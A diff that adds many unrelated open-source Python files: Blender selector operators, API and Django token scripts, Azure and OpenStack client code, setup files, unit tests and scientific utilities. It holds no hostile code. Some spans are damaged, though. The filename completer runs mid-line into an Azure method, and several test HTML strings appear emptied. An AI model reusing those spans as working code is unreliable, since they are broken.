"node.sv_generic_file_selector" + my_op = layout.operator(callback, text='pick file').fn_name='some_function' + + + def some_function(self, operator): + print(operator.filepath) <---- will contain full path to the file selected from the dialogue + operator.report({ ...}) + return {'FINISHED'} + + + ''' + + fn_name = bpy.props.StringProperty(default='') + filepath = bpy.props.StringProperty( + name="File Path", + description="Filepath used for getting the file path", + maxlen=1024, default="", subtype='FILE_PATH') + + def execute(self, context): + try: + f = getattr(self.node, self.fn_name)(self) + return f or {'FINISHED'} + + except Exception as err: + print(repr(err)) + return {'CANCELLED'} + + # return just in case, else let the content of the called function decide the return value + return {'FINISHED'} + + + def invoke(self, context, event): + self.node = context.node + wm = context.window_manager + wm.fileselect_add(self) + return {'RUNNING_MODAL'} + + +class SvGenericDirectorySelector(): + + bl_idname = "node.sv_generic_dir_selector" + bl_label = "sv Dir Select" + + ''' + + #### using SvGenericDirectorySelector(bpy.types.Operator) ##### + + class SomeNode.. + + def draw_buttons(self, context, layout): + callback = "node.sv_generic_dir_selector" + my_op = layout.operator(callback, text='pick directory').fn_name='some_function' + + + def some_function(self, operator): + print(operator.path) <---- will contain full directory path selected from the dialogue + operator.report({ ...}) + return {'FINISHED'} + + + ''' + + fn_name = bpy.props.StringProperty(default='') + directory = bpy.props.StringProperty( + name="Base Path", + description="Directory selected", + maxlen=1024, default="", subtype='DIR_PATH') + + def execute(self, context): + node = self.node # definitely have the node here + try: + f = getattr(node, self.fn_name)(self) + return f or {'FINISHED'} + + except Exception as err: + print(repr(err)) + return {'CANCELLED'} + + # return just in case, else let the content of the called function decide the return value + return {'FINISHED'} + + + def invoke(self, context, event): + self.node = context.node + wm = context.window_manager + wm.fileselect_add(self) + return {'RUNNING_MODAL'} diff --git a/pool/shard009/Python/0081348_preferences.py b/pool/shard009/Python/0081348_preferences.py new file mode 100644 index 0000000000000000000000000000000000000000..6744a1d37b2c3c5a2821928cb55af3cec8be1971 --- /dev/null +++ b/pool/shard009/Python/0081348_preferences.py @@ -0,0 +1,79 @@ +# =============================================================================== +# Copyright 2013 Jake Ross +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# =============================================================================== + +# ============= enthought library imports ======================= +from __future__ import absolute_import +from envisage.ui.tasks.preferences_pane import PreferencesPane +from traits.api import Str, Password, Int, Button, on_trait_change, Color +from traitsui.api import View, Item, Group, HGroup, VGroup + +# ============= standard library imports ======================== +# ============= local library imports ========================== +from pychron.core.ui.custom_label_editor import CustomLabel +from pychron.envisage.icon_button_editor import icon_button_editor +from pychron.envisage.tasks.base_preferences_helper import BasePreferencesHelper + + +class EmailPreferences(BasePreferencesHelper): + server_username = Str + server_password = Password + + server_host = Str + server_port = Int + + preferences_path = 'pychron.email' + _test_connection_button = Button + _status = Str('Not Tested') + _status_color = Color('orange') + + @on_trait_change('server+') + def _server_trait_changed(self): + self._status = 'Not Tested' + self._status_color = 'orange' + + def __test_connection_button_fired(self): + from pychron.social.email.emailer import Emailer + + em = Emailer() + em.trait_set(server_host=self.server_host, server_port=self.server_port, + server_username=self.server_username, server_password=self.server_password) + + if em.connect(warn=False): + self._status = 'Connected' + self._status_color = 'green' + else: + self._status = 'Failed' + self._status_color = 'red' + + +class EmailPreferencesPane(PreferencesPane): + model_factory = EmailPreferences + category = 'Social' + + def traits_view(self): + grp = VGroup(Item('server_host', label='Host'), + Item('server_username', label='User'), + Item('server_password', label='Password', resizable=True), + Item('server_port', label='Port'), + HGroup(icon_button_editor('_test_connection_button', 'server-connect'), + CustomLabel('_status', color_name='_status_color')), + show_border=True, + springy=True, + label='Email') + v = View(grp) + return v + +# ============= EOF ============================================= diff --git a/pool/shard009/Python/0081352_restv1-apikey.py b/pool/shard009/Python/0081352_restv1-apikey.py new file mode 100644 index 0000000000000000000000000000000000000000..f31bba1e977a32f80dc44f8d5283426d3c45beda --- /dev/null +++ b/pool/shard009/Python/0081352_restv1-apikey.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +# +# https://github.com/kaiterra/api/examples/restv1-urlkey.py +# +# This script demonstrates getting the latest data from a Laser Egg and Sensedge using the API. +# +# To use the script, do the following: +# 1. Use pip to install packages in requirements.txt (usually pip -r requirements.txt) +# 2. Change API_KEY to the key you created for your Kaiterra account on http://dashboard.kaiterra.com/. +# 3. Run the script. It will make the request, printing out information about the auth process +# along the way. + +from datetime import datetime, timezone +import sys +import requests + + +API_BASE_URL = "https://api.kaiterra.com/v1/" + +# TODO: replace this with the API key from your Kaiterra account +API_KEY = "your-api-key" + +# Create a session object to reuse TCP connections to the server +session = requests.session() + +def do_get(relative_url, *, params={}, headers={}): + ''' + Executes an HTTP GET against the given resource. The request is authorized using the given URL key. + ''' + import json + + params['key'] = API_KEY + + url = API_BASE_URL.strip("/") + relative_url + + print("http: Fetching: {}".format(url)) + print("http: Parameters: {}".format(params)) + print("http: Headers: {}".format(headers)) + print() + + response = session.get(url, params=params, headers=headers) + + print("http: Status ({}), {} bytes returned:".format(response.status_code, len(response.content))) + content_str = '' + if len(response.content) > 0: + content_str = response.content.decode('utf-8') + print(content_str) + print() + + response.raise_for_status() + + if len(content_str) > 0: + return json.loads(content_str) + + return None + + +def get_laser_egg(id: str): + return do_get("/lasereggs/" + id) + + +def get_sensedge(id: str): + return do_get("/sensedges/" + id) + + +def summarize_laser_egg(id: str): + ''' + Prints the most recently reported reading from a Laser Egg. + ''' + data = get_laser_egg(id) + + latest_data = data.get('info.aqi') + if latest_data: + print("Laser Egg data returned:") + + ts = parse_rfc3339_utc(latest_data['ts']) + ts_ago = (datetime.now(timezone.utc) - ts).total_seconds() + print(" Updated: {} seconds ago".format(int(ts_ago))) + + pm25 = latest_data['data'].get('pm25') + if pm25: + print(" PM2.5: {} µg/m³".format(pm25)) + else: + print(" PM2.5: no data") + + else: + print("Laser Egg hasn't uploaded any data yet") + + print() + + +def summarize_sensedge(id: str): + ''' + Prints the most recently reported reading from a Sensedge. + ''' + data = get_sensedge(id) + + latest_data = data.get('latest') + if latest_data: + print("Sensedge data returned:") + + ts = parse_rfc3339_utc(latest_data['ts']) + ts_ago = (datetime.now(timezone.utc) - ts).total_seconds() + print(" Updated: {} seconds ago".format(int(ts_ago))) + + pm25 = latest_data.get('km100.rpm25c') + if pm25: + print(" PM2.5: {} µg/m³".format(pm25)) + else: + print(" PM2.5: no data") + + tvoc = latest_data.get('km102.rtvoc (ppb)') + if tvoc: + print(" TVOC: {} ppb".format(tvoc)) + else: + print(" TVOC: no data") + + else: + print("Sensedge hasn't uploaded any data yet") + + print() + + +def check_available(name): + import importlib + try: + _ = importlib.import_module(name, None) + except ImportError: + print("Missing module '{}'. Please run this command and try again:".format(name)) + print(" pip -r requirements.txt") + sys.exit(1) + + +def parse_rfc3339_utc(ts: str) -> datetime: + ''' + Parses and returns the timestamp as a timezone-aware time in the UTC time zone. + ''' + return datetime.strptime(ts, '%Y-%m-%dT%H:%M:%SZ').replace(tzinfo=timezone.utc) + + +if __name__ == "__main__": + check_available("requests") + from datetime import datetime, timezone + + summarize_laser_egg("00000000-0001-0001-0000-00007e57c0de") + summarize_sensedge("00000000-0031-0001-0000-00007e57c0de") diff --git a/pool/shard009/Python/0081363_module_locater.py b/pool/shard009/Python/0081363_module_locater.py new file mode 100644 index 0000000000000000000000000000000000000000..19dd7d86862a684f5f34ab88a1b8d6a30ba3b303 --- /dev/null +++ b/pool/shard009/Python/0081363_module_locater.py @@ -0,0 +1,21 @@ +#------------------------------------------------------------------------------- +# Name: module_locater +# Purpose: Marker to find file location in other scripts. Call module_path() +# to list path. +# +# Author: dmartinez7500@gmail.com +# +# Created: 04/23/2014 +#------------------------------------------------------------------------------- + +import sys, os + +def we_are_frozen(): + # All of the modules are built-in to the interpreter, e.g., by py2exe + return hasattr(sys, "frozen") + +def module_path(): + encoding = sys.getfilesystemencoding() + if we_are_frozen(): + return os.path.dirname(unicode(sys.executable, encoding)) + return os.path.dirname(unicode(__file__, encoding)) \ No newline at end of file diff --git a/pool/shard009/Python/0081367_create_api_token.py b/pool/shard009/Python/0081367_create_api_token.py new file mode 100644 index 0000000000000000000000000000000000000000..4081e98aa3fa9353e820f47ce64ac760f967b47e --- /dev/null +++ b/pool/shard009/Python/0081367_create_api_token.py @@ -0,0 +1,56 @@ +### +# Copyright 2015-2020, Institute for Systems Biology +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +### + +from __future__ import print_function + +from builtins import str +from builtins import object +import datetime +import logging +import traceback +import os +from os.path import join, dirname +import re +import csv +from argparse import ArgumentParser +import sys +import time +from copy import deepcopy + +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "isb_cgc.settings") + +import django +django.setup() + +from isb_cgc import settings +from django.contrib.auth.models import User +from rest_framework.authtoken.models import Token +from django.core.exceptions import ObjectDoesNotExist + +try: + cron_user = User.objects.get(username=settings.CRON_USER) +except ObjectDoesNotExist: + print("Cron user {} not found - creating.".format(settings.CRON_USER)) + cron_user = User.objects.create(username=settings.CRON_USER) + +token = Token.objects.create(user=cron_user) + +if settings.IS_DEV and settings.CONNECTION_IS_LOCAL: + f = open(join(dirname(__file__), '../{}{}'.format(settings.SECURE_LOCAL_PATH, "dev.cron_token.json")), "w") + f.write(str(token)) + f.close() +else: + print("{} user token: {}".format(settings.CRON_USER,str(token))) diff --git a/pool/shard009/Python/0081368_filename.py b/pool/shard009/Python/0081368_filename.py new file mode 100644 index 0000000000000000000000000000000000000000..fdb63844b665011c02e2957c327be846038f0ef3 --- /dev/null +++ b/pool/shard009/Python/0081368_filename.py @@ -0,0 +1,146 @@ +# -*- coding: utf-8 -*- + +import os +import re +import logging +import glob +import itertools +from completor import Completor, LIMIT + +from .utils import test_subseq + + +logger = logging.getLogger('completor') +PAT = re.compile(r'(\w{2,}:(//?[^\s]*)?)|(]*>?)|(//)') +START_NO_DIRNAME = re.compile(r'^(\.{0,2}/|~/|[a-zA-Z]:/|\$)') + + +def gen_entry(pat, dirname, basename, offset): + prefix = len(dirname) + if os.path.dirname(dirname) != dirname: + prefix += 1 + for fname in glob.iglob(pat): + entry = fname[prefix:] + score = test_subseq(basename, entry) + if score is None: + continue + + abbr = '' + if os.path.isdir(os.path.join(dirname, entry)): + abbr = ''.join([entry, os.sep]) + if entry.startswith('.'): + score += 100000 + entry = { + 'word': entry, + 'abbr': abbr, + 'menu': '[F]', + 'offset': offset, + } + yield entry, score + + +def find(current_dir, input_data, offset): + path_dir = os.path.expanduser(os.path.expandvars(input_data)) + if not path_dir: + return [] + + dirname, basename = os.path.split(path_dir) + if not dirname: + dirname = '.' + + if not os.path.isabs(dirname): + dirname = os.path.join(current_dir, dirname) + + def _pat(p): + return os.path.join(dirname, p) + + hidden = gen_entry(_pat('.*'), dirname, basename, offset) + chain = gen_entry(_pat('*'), dirname, basename, offset), hidden + + entries = list(itertools.islice(itertools.chain(*chain), LIMIT)) + entries.sort(key=lambda x: x[1]) + return entries + + +class Filename(Completor): + filetype = 'filename' + + sync = True + trigger = re.compile(r""" + # Head part + (?: + # '/', './', '../', or '~' + \.{0,2}/|~| + + # '$var/' + \$[A-Za-z0-9{}_]+/| + + # 'c:/' + (? Iterable["_models.UsagesListResult"] + """List network usages for a subscription. + + :param location: The location where resource usage is queried. + :type location: str + :keyword callable cls: A custom type or function that will be passed the direct response + :return: An iterator like instance of either UsagesListResult or the result of cls(response) + :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2021_02_01.models.UsagesListResult] + :raises: ~azure.core.exceptions.HttpResponseError + """ + cls = kwargs.pop('cls', None) # type: ClsType["_models.UsagesListResult"] + error_map = { + 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError + } + error_map.update(kwargs.pop('error_map', {})) + api_version = "2021-02-01" + accept = "application/json" + + def prepare_request(next_link=None): + # Construct headers + header_parameters = {} # type: Dict[str, Any] + header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') + + if not next_link: + # Construct URL + url = self.list.metadata['url'] # type: ignore + path_format_arguments = { + 'location': self._serialize.url("location", location, 'str', pattern=r'^[-\w\._ ]+$'), + 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), + } + url = self._client.format_url(url, **path_format_arguments) + # Construct parameters + query_parameters = {} # type: Dict[str, Any] + query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') + + request = self._client.get(url, query_parameters, header_parameters) + else: + url = next_link + query_parameters = {} # type: Dict[str, Any] + request = self._client.get(url, query_parameters, header_parameters) + return request + + def extract_data(pipeline_response): + deserialized = self._deserialize('UsagesListResult', pipeline_response) + list_of_elem = deserialized.value + if cls: + list_of_elem = cls(list_of_elem) + return deserialized.next_link or None, iter(list_of_elem) + + def get_next(next_link=None): + request = prepare_request(next_link) + + pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) + response = pipeline_response.http_response + + if response.status_code not in [200]: + map_error(status_code=response.status_code, response=response, error_map=error_map) + raise HttpResponseError(response=response, error_format=ARMErrorFormat) + + return pipeline_response + + return ItemPaged( + get_next, extract_data + ) + list.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Network/locations/{location}/usages'} # type: ignore diff --git a/pool/shard009/Python/0081374_blame.py b/pool/shard009/Python/0081374_blame.py new file mode 100644 index 0000000000000000000000000000000000000000..6572b350234f468d0f088fd0c9a4df8bce11f255 --- /dev/null +++ b/pool/shard009/Python/0081374_blame.py @@ -0,0 +1,74 @@ +# -*- coding:utf-8 -*- +# +# Copyright (C) 2009, TUBITAK/UEKAE +# +# This program is free software; you can redistribute it and/or modify it under +# the terms of the GNU General Public License as published by the Free +# Software Foundation; either version 2 of the License, or (at your option) +# any later version. +# +# Please read the COPYING file. +# + +import optparse + +import gettext +__trans = gettext.translation('pisi', fallback=True) +_ = __trans.ugettext + +import pisi.cli.command as command +import pisi.context as ctx +import pisi.db + +class Blame(command.Command): + __doc__ = _("""Information about the package owner and release + +Usage: blame ... + +""") + + __metaclass__ = command.autocommand + + def __init__(self, args=None): + super(Blame, self).__init__(args) + self.installdb = pisi.db.installdb.InstallDB() + + name = ("blame", "bl") + + def options(self): + group = optparse.OptionGroup(self.parser, _("blame options")) + group.add_option("-r", "--release", action="store", type="int", help=_("Blame for the given release")) + group.add_option("-a", "--all", action="store_true", default=False, + help=_("Blame for all of the releases")) + self.parser.add_option_group(group) + + def run(self): + self.init(database=False, write=False) + + if not self.args: + self.help() + return + + for package in self.args: + if self.installdb.has_package(package): + pkg = self.installdb.get_package(package) + release = ctx.get_option('release') + if not release and not ctx.get_option('all'): + self.print_package_info(pkg) + elif ctx.get_option('all'): + for hno, update in enumerate(pkg.history): + self.print_package_info(pkg, hno) + else: + for hno, update in enumerate(pkg.history): + if int(update.release) == release: + self.print_package_info(pkg, hno) + return + + def print_package_info(self, package, hno=0): + s = _('Name: %s, version: %s, release: %s\n') % ( + package.name, package.history[hno].version, package.history[hno].release) + s += _('Package Maintainer: %s <%s>\n') % (unicode(package.source.packager.name), package.source.packager.email) + s += _('Release Updater: %s <%s>\n') % (package.history[hno].name, package.history[hno].email) + s += _('Update Date: %s\n') % package.history[hno].date + s += '\n%s\n' % package.history[hno].comment + ctx.ui.info(s) diff --git a/pool/shard009/Python/0081379_setup.py b/pool/shard009/Python/0081379_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..2070c3a13a2caf1943be7680a615e5e9c1bfb7cc --- /dev/null +++ b/pool/shard009/Python/0081379_setup.py @@ -0,0 +1,59 @@ +import os + +from setuptools import find_packages, setup + + +def read_requirements(): + ret = [] + fname = os.path.join(os.path.dirname(__file__), "requirements.txt") + with open(fname, "r") as f: + for line in f: + line = line.strip() + if line and not line.startswith("#"): + ret.append(line) + return ret + + +def read_long_description(): + with open("README.rst", "r") as f: + return f.read() + + +setup( + name="mock-ssh-server", + version="0.9.1", + description="Mock SSH server for testing purposes", + long_description=read_long_description(), + url="https://github.com/carletes/mock-ssh-server", + author="Carlos Valiente", + author_email="carlos@pepelabs.net", + license="MIT", + classifiers=[ + "Development Status :: 4 - Beta", + "Environment :: Console", + "Intended Audience :: Developers", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Topic :: Software Development :: Testing", + "Programming Language :: Python :: 2.7", + "Programming Language :: Python :: 3.5", + "Programming Language :: Python :: 3.6", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + ], + package_dir={ + "mockssh": "mockssh", + }, + packages=find_packages(), + package_data={ + "mockssh": [ + "sample-user-key", + "sample-user-key.pub", + "server-key", + "server-key.pub", + ] + }, + install_requires=read_requirements(), + zip_safe=False, +) diff --git a/pool/shard009/Python/0081380_misc_test.py b/pool/shard009/Python/0081380_misc_test.py new file mode 100644 index 0000000000000000000000000000000000000000..be374929d2b4a5d95cd29ad39910ef882fe24938 --- /dev/null +++ b/pool/shard009/Python/0081380_misc_test.py @@ -0,0 +1,117 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +##################### A U T H O R ########################## +# # +# Copyright 2010 Jack Desert # +# # +# http://TwoMoreLines.com # +# # +###################### L I C E N S E ########################## +# # +# This file is part of LyXBlogger. # +# # +# LyXBlogger is free software: you can redistribute it and/or modify # +# it under the terms of the GNU General Public License as published # +# by the Free Software Foundation, either version 3 of the License, # +# or (at your option) any later version. # +# # +# LyXBlogger is distributed in the hope that it will be useful, # +# but WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # +# GNU General Public License for more details. # +# # +# You should have received a copy of the GNU General Public License # +# along with LyXBlogger. If not, see . # +# # +######################################################################## + +# Code to test misc.py + +import sys +import unittest +from misc import trim_cut_material +from misc import get_format + + +class MiscTestCase(unittest.TestCase): + + def setUp(self): + pass + def test_trim_cut_material(self): + # Note that the cut flag must be right after the
\n + # That is why this string has been allowed to drift left, is + # to make sure no spaces come between the and the \n + html_LyXHTML = ''' + + + +''' + html_LyXHTML = trim_cut_material(html_LyXHTML, '#! CUT MATERIAL', False) + print ('new value is: ' + html_LyXHTML) + self.assertTrue('Hi there' in html_LyXHTML) + self.assertFalse('CUT MATERIAL' in html_LyXHTML) + self.assertFalse('''What's up?''' in html_LyXHTML) + + def test_trim_cut_material2(self): + # Note that the cut flag must be right after the
\n + # That is why this string has been allowed to drift left, is + # to make sure no spaces come between the and the \n + html_eLyXer = '''
+ +
+Hi there +
+ +
+#! CUT MATERIAL +
+
+What’s up? +
+ +
+''' + html_eLyXer = trim_cut_material(html_eLyXer, '#! CUT MATERIAL', True) + self.assertTrue('Hi there' in html_eLyXer) + self.assertFalse('CUT MATERIAL' in html_eLyXer) + self.assertFalse('''What's up?''' in html_eLyXer) + + def test_get_format1(self): # LyXHTML + html = '' + engine = get_format(html) + self.assertFalse(engine) # ENGINE_ELYXER is false + def test_get_format2(self): # eLyXer + html = '' + engine = get_format(html) + self.assertTrue(engine) # ENGINE_ELYXER is true + + def test_get_format3(self): # Hevea + html = '' + self.assertRaises(SystemExit,get_format, html) + + + def test_get_format4(self): # LaTeX2HTML + html = '''''' + self.assertRaises(SystemExit,get_format, html) + + + def test_get_format5(self): # TtH + html = '' + self.assertRaises(SystemExit,get_format, html) + + def test_get_format6(self): # Anything else + html = '' + self.assertRaises(SystemExit,get_format, html) + + + +if __name__ == '__main__': + unittest.main() + diff --git a/pool/shard009/Python/0081387_app.py b/pool/shard009/Python/0081387_app.py new file mode 100644 index 0000000000000000000000000000000000000000..eaa12945c742b099b974eb57cb47be81c268d997 --- /dev/null +++ b/pool/shard009/Python/0081387_app.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +from flask import Flask + +from cocaine.services import SyncService + +app = Flask(__name__) + +NAMESPACE = "testnamespace" +KEY = "testkey" + +storage = SyncService("storage") + + +@app.route('/') +def hello(name=None): + return "HELLO!" + + +@app.route('/read') +def read(): + data = storage.run_sync(storage.read(NAMESPACE, KEY).rx.get(), timeout=1) + return data + +if __name__ == "__main__": + app.run(debug=True) diff --git a/pool/shard009/Python/0081392_setup.py b/pool/shard009/Python/0081392_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..0d98b58402f79ea2db096946b07ede59bc071130 --- /dev/null +++ b/pool/shard009/Python/0081392_setup.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +import os +import sys +from setuptools import find_packages, setup + + +base_dir = os.path.dirname(__file__) +src_dir = os.path.join(base_dir, "src") + +# When executing the setup.py, we need to be able to import ourselves, this +# means that we need to add the src/ directory to the sys.path. +sys.path.insert(0, src_dir) + + +def read(fname): + """read file from same path as setup.py""" + return open(os.path.join(os.path.dirname(__file__), fname)).read() + + +setuptools_scm_template = """\ +# coding: utf-8 +# file generated by setuptools_scm +# don't change, don't track in version control +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +version = '{version}' +""" + + +setup( + use_scm_version={ + "write_to": "src/escpos/version.py", + "write_to_template": setuptools_scm_template, + }, + platforms="any", + package_dir={"": "src"}, + packages=find_packages(where="src", exclude=["tests", "tests.*"]), + package_data={"escpos": ["capabilities.json"]}, + entry_points={"console_scripts": ["python-escpos = escpos.cli:main"]}, +) diff --git a/pool/shard009/Python/0081394_forms.py b/pool/shard009/Python/0081394_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..1aa18c07da4bdef382edc95c4fb5f61df52f92df --- /dev/null +++ b/pool/shard009/Python/0081394_forms.py @@ -0,0 +1,139 @@ +# Copyright 2012, Nachi Ueno, NTT MCL, Inc. +# All rights reserved. + +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +""" +Views for managing Neutron Routers. +""" +import logging + +from django.core.urlresolvers import reverse +from django.core.urlresolvers import reverse_lazy +from django.utils.translation import ugettext_lazy as _ + +from horizon import exceptions +from horizon import forms +from horizon import messages + +from openstack_dashboard import api + +LOG = logging.getLogger(__name__) + + +class CreateForm(forms.SelfHandlingForm): + name = forms.CharField(max_length=255, label=_("Router Name")) + mode = forms.ChoiceField(label=_("Router Type")) + ha = forms.ChoiceField(label=_("High Availability Mode")) + failure_url = 'horizon:project:l3routers:index' + + def __init__(self, request, *args, **kwargs): + super(CreateForm, self).__init__(request, *args, **kwargs) + self.dvr_allowed = api.neutron.get_feature_permission(self.request, + "dvr", "create") + if self.dvr_allowed: + mode_choices = [('server_default', _('Use Server Default')), + ('centralized', _('Centralized')), + ('distributed', _('Distributed'))] + self.fields['mode'].choices = mode_choices + else: + del self.fields['mode'] + + self.ha_allowed = api.neutron.get_feature_permission(self.request, + "l3-ha", "create") + if self.ha_allowed: + ha_choices = [('server_default', _('Use Server Default')), + ('enabled', _('Enable HA mode')), + ('disabled', _('Disable HA mode'))] + self.fields['ha'].choices = ha_choices + else: + del self.fields['ha'] + + def handle(self, request, data): + try: + params = {'name': data['name']} + if (self.dvr_allowed and data['mode'] != 'server_default'): + params['distributed'] = (data['mode'] == 'distributed') + if (self.ha_allowed and data['ha'] != 'server_default'): + params['ha'] = (data['ha'] == 'enabled') + router = api.neutron.router_create(request, **params) + message = _('Router %s was successfully created.') % data['name'] + messages.success(request, message) + return router + except Exception as exc: + if exc.status_code == 409: + msg = _('Quota exceeded for resource router.') + else: + msg = _('Failed to create router "%s".') % data['name'] + LOG.info(msg) + redirect = reverse(self.failure_url) + exceptions.handle(request, msg, redirect=redirect) + return False + + +class UpdateForm(forms.SelfHandlingForm): + name = forms.CharField(label=_("Name"), required=False) + # TODO(amotoki): make UP/DOWN translatable + admin_state = forms.ChoiceField(choices=[(True, 'UP'), (False, 'DOWN')], + label=_("Admin State")) + router_id = forms.CharField(label=_("ID"), + widget=forms.HiddenInput()) + mode = forms.ChoiceField(label=_("Router Type")) + ha = forms.BooleanField(label=_("High Availability Mode"), required=False) + + redirect_url = reverse_lazy('horizon:project:l3routers:index') + + def __init__(self, request, *args, **kwargs): + super(UpdateForm, self).__init__(request, *args, **kwargs) + self.dvr_allowed = api.neutron.get_feature_permission(self.request, + "dvr", "update") + if not self.dvr_allowed: + del self.fields['mode'] + elif kwargs.get('initial', {}).get('mode') == 'distributed': + # Neutron supports only changing from centralized to + # distributed now. + mode_choices = [('distributed', _('Distributed'))] + self.fields['mode'].widget = forms.TextInput(attrs={'readonly': + 'readonly'}) + self.fields['mode'].choices = mode_choices + else: + mode_choices = [('centralized', _('Centralized')), + ('distributed', _('Distributed'))] + self.fields['mode'].choices = mode_choices + + # TODO(amotoki): Due to Neutron Bug 1378525, Neutron disables + # PUT operation. It will be fixed in Kilo cycle. + # self.ha_allowed = api.neutron.get_feature_permission( + # self.request, "l3-ha", "update") + self.ha_allowed = False + if not self.ha_allowed: + del self.fields['ha'] + + def handle(self, request, data): + try: + params = {'admin_state_up': (data['admin_state'] == 'True'), + 'name': data['name']} + if self.dvr_allowed: + params['distributed'] = (data['mode'] == 'distributed') + if self.ha_allowed: + params['ha'] = data['ha'] + router = api.neutron.router_update(request, data['router_id'], + **params) + msg = _('Router %s was successfully updated.') % data['name'] + LOG.debug(msg) + messages.success(request, msg) + return router + except Exception: + msg = _('Failed to update router %s') % data['name'] + LOG.info(msg) + exceptions.handle(request, msg, redirect=self.redirect_url) diff --git a/pool/shard009/Python/0081399_filter.py b/pool/shard009/Python/0081399_filter.py new file mode 100644 index 0000000000000000000000000000000000000000..dd83227064805c4fa830955649a5f2afbd790020 --- /dev/null +++ b/pool/shard009/Python/0081399_filter.py @@ -0,0 +1,26 @@ +import numpy as np +from scipy.signal import butter, lfilter, convolve2d + +def butter_bandpass(lowcut, highcut, fs, order=5): + nyq = 0.5 * fs + low = lowcut / nyq + high = highcut / nyq + b, a = butter(order, [low, high], btype='band') + return b, a + +def butter_bandpass_filter(data, lowcut, highcut, fs, order=5): + b, a = butter_bandpass(lowcut, highcut, fs, order=order) + y = lfilter(b, a, data) + return y + +@io +def bandpass(dataset, **kwargs): + + # Sample rate and desired cutoff frequencies (in Hz). + fs = 1./kwargs['dt'] + lowcut = kwargs['lowcut'] + highcut = kwargs['highcut'] + + dataset['trace'] = butter_bandpass_filter(dataset['trace'], lowcut, highcut, fs, order=6) + return dataset + diff --git a/pool/shard009/Python/0081404_blanksky_add_time.py b/pool/shard009/Python/0081404_blanksky_add_time.py new file mode 100644 index 0000000000000000000000000000000000000000..8db3c2b84c88f5d2b6ed4a138f84558ef28ecbad --- /dev/null +++ b/pool/shard009/Python/0081404_blanksky_add_time.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# Aaron LI +# 2015/06/16 +# +# Changelogs: +# 0.2.0, 2015/06/16, Aaron LI +# * append the new time column to the *last*, rather than inserting +# to the beginning +# * explicitly update header from the new generated table +# +# BUGS: +# * comments of columns will lost after modified by astropy.io.fits, +# which is a bug with this package +# + +""" +Add a time column for the chandra blanksky event file. +The time data are generated with a uniform distribution +between TSTART and TSTOP. +""" + +__version__ = "0.2.0" +__date__ = "2015/06/16" + +import sys +import argparse + +import numpy as np +try: + from astropy.io import fits +except ImportError: + try: + import pyfits as fits + except ImportError: + raise ImportError("cannot import 'astropy.io.fits' or 'pyfits'") + + +def add_time_column(fitsfile, blockname="EVENTS"): + """ + Add a time column to the specified block of the input fits file. + The time data are generated with a uniform distribution + between TSTART and TSTOP. + + Return: + A fits object with the new time column. + """ + if isinstance(fitsfile, str): + fitsfile = fits.open(fitsfile) + table = fitsfile[blockname] + tstart = table.header["TSTART"] + tstop = table.header["TSTOP"] + counts = len(table.data) + time_data = np.random.uniform(tstart, tstop, counts) + time_col = fits.Column(name="time", format="1D", unit="s", array=time_data) + # NOTE: append the new time column to the *last*! + # Otherwise the TLMIN??/TLMAX?? keyword pairs, which record the + # minimum/maximum values of corresponding columns, will become + # *out of order*. Therefore the output FITS file causes weird problems + # with DS9 and DM tools. + newtable = fits.BinTableHDU.from_columns( + table.columns + fits.ColDefs([time_col])) + fitsfile[blockname].data = newtable.data + # update header + fitsfile[blockname].header.update(newtable.header) + return fitsfile + + +def main(): + parser = argparse.ArgumentParser( + description="Add a time column for Chandra blanksky event file.") + parser.add_argument("-V", "--version", action="version", + version="%(prog)s " + "%s (%s)" % (__version__, __date__)) + parser.add_argument("infile", help="input chandra blanksky file") + parser.add_argument("outfile", nargs="?", default=None, + help="modified blanksky file. IN-PLACE modification if omitted.") + parser.add_argument("-C", "--clobber", dest="clobber", + action="store_true", help="overwrite output file if exists") + args = parser.parse_args() + + newfits = add_time_column(args.infile) + if args.outfile: + newfits.writeto(args.outfile, clobber=args.clobber) + else: + newfits.writeto(args.infile, clobber=True) + + +if __name__ == "__main__": + main() + diff --git a/pool/shard009/Python/0081407_taskexecutor.py b/pool/shard009/Python/0081407_taskexecutor.py new file mode 100644 index 